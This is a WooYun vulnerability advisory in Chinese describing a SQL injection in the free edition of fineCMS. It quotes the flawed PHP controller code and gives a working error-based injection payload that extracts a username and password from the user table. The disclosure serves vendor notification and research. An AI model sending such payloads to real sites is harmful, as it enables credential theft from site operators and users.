当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123899

漏洞标题:fineCMS免费版注入再来一弹

相关厂商:dayrui.com

漏洞作者: yunxu

提交时间:2015-07-01 17:46

修复时间:2015-09-30 14:36

公开时间:2015-09-30 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向第三方安全合作伙伴开放
2015-08-26: 细节向核心白帽子及相关领域专家公开
2015-09-05: 细节向普通白帽子公开
2015-09-15: 细节向实习白帽子公开
2015-09-30: 细节向公众公开

简要描述:

抢先呵呵!!!

详细说明:

问题文件:
/controllers/member/InfoController.php

public function favoriteAction() {
$favorite = $this->model('favorite');
if ($this->isPostForm()) {
$ids = '';
foreach ($this->post('ids') as $i) {
$ids.= ','.(int)$i;
}
$ids = trim($ids, ',');
if (empty($ids)) {
$this->memberMsg(lang('m-inf-11'));
}
$ids = @implode(',', $this->post('ids'));
$favorite->delete('userid=' . $this->memberinfo['id'].' and id IN(' . $ids . ')');
}
$page = (int)$this->get('page');
$page = (!$page) ? 1 : $page;
.......略......


可以看到在第一次post获取ids值的时候全都转换成int了,但是狗血的是在后面又出现一个$ids = @implode(',', $this->post('ids'));那么只要让这里的isPostForm函数确认是通过post提交的就可以注入了,因为这个功能是收藏夹选项,默认是get访问的
再来看看isPostForm函数
在父类文件:/controllers/Common.php

/**
* 验证表单是否POST提交
*/
public function isPostForm($var='submit', $emp=0) {
return Controller::isPostForm($var, $emp);
}


默认值是submit,开始构造
在用户登录后-资料信息-我的收藏夹,点击进入后改用post提交

submit=ok&ids[]=-1) and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from fn_user limit 1))


1.png


测试演示站点:

2.png


漏洞证明:

2.png

修复方案:

改改改下

版权声明:转载请注明来源 yunxu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-02 14:34

厂商回复:

222

最新状态:

暂无